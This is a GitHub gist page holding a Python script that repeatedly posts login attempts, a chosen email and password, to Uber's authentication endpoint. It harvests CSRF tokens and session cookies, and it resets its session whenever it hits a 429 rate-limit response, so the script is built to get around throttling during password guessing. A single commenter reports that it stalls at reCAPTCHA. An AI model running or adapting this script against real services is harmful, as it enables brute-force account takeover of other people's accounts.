Skip to content

Instantly share code, notes, and snippets.

@1lastBr3ath
Created July 14, 2017 12:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 1lastBr3ath/de89ade2d2097ba34880fe7a564f0da3 to your computer and use it in GitHub Desktop.
Save 1lastBr3ath/de89ade2d2097ba34880fe7a564f0da3 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import re
import sys
import json
import requests
# function to send requests
def fetch(url, headers, method=None, payload=None):
if method is None: method='GET'
try:
if method=='GET':
resp = requests.get(url=url, headers=headers)
elif method=='POST':
resp = requests.post(url=url, headers=headers, data=payload)
except:
raise
return resp
# function to set request headers
def setHeaders(resp):
headers = {}
csrfToken = resp.headers.get('x-csrf-token')
try:
arch_sess = resp.cookies.get('arch-frontend:sess')
headers = {'Cookie': 'arch-frontend:sess='+arch_sess}
except:
pass
headers.update({'Accept': 'application/json', 'Content-type': 'application/json', 'Origin': url, 'Referer': url+'/login/', 'x-uber-origin': 'arch-frontend', 'x-csrf-token': csrfToken, 'Connection': 'keep-alive'})
return headers
# default url & headers
url = 'https://auth.uber.com'
user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'
headers = {'User-Agent': user_agent}
email = sys.argv[1]
print type(email), email
while(True):
# first request to /login
print 'Sending requests to /login with headers;'
print str(headers) + "\n"
resp = fetch(url+'/login/', headers)
# handle username/email
headers.update(setHeaders(resp))
payload = '{"answer":{"type":"VERIFY_INPUT_EMAIL","userIdentifier":{"email":"'+email+'"}},"init":true}'
resp = fetch(url+'/login/handleanswer', headers, 'POST', payload)
print "Email entered: "
print resp.text + "\n"
# clear cookies upon receiving 429 Too many request
if resp.status_code == 429:
print 'Too many requests received: '
print 'Starting again ...' + "\n"
headers = {'User-Agent': user_agent}
continue
# handle password
headers.update(setHeaders(resp))
payload = '{"answer":{"type":"VERIFY_PASSWORD","password":"XXXXXX"},"rememberMe":true}'
resp = fetch(url+'/login/handleanswer', headers, 'POST', payload)
print "Password entered: "
print resp.text + "\n"
@Habbiton
Copy link

Seems to get stuck at RECAPTCHA

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment